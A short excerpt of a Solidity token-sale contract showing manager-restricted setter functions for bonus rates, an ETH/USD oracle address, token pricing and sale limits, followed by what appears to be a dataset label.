function setBonus( uint256 _bonusWeiAmount, uint256 _smallBonusPercent, uint256 _bigBonusPercent ) {
require(msg.sender == manager);
bonusWeiAmount = _bonusWeiAmount;
smallBonusPercent = _smallBonusPercent;
bigBonusPercent = _bigBonusPercent;
}
function setETHUSDdemon(address _ETHUSDdemon)
{
require(msg.sender == manager);
ETHUSDdemon = _ETHUSDdemon;
}
function setTokenSPUsdCentPrice(uint _tokenSPUsdCentPrice)
{
require(msg.sender == manager);
tokenSPUsdCentPrice = _tokenSPUsdCentPrice;
}
function setMinTokenForSP(uint _minTokenForSP)
{
require(msg.sender == manager);
minTokenForSP = _minTokenForSP;
}
function setTRM1BonusActive(bool _TRM1BonusActive)
{
require(msg.sender == manager);
TRM1BonusActive = _TRM1BonusActive;
}
function setTokenForSP(uint _tokenForSP)
{
require(msg.sender == manager);
tokenForSP = _tokenForSP;
tokenForSPSold = 0;
}
} | 0 |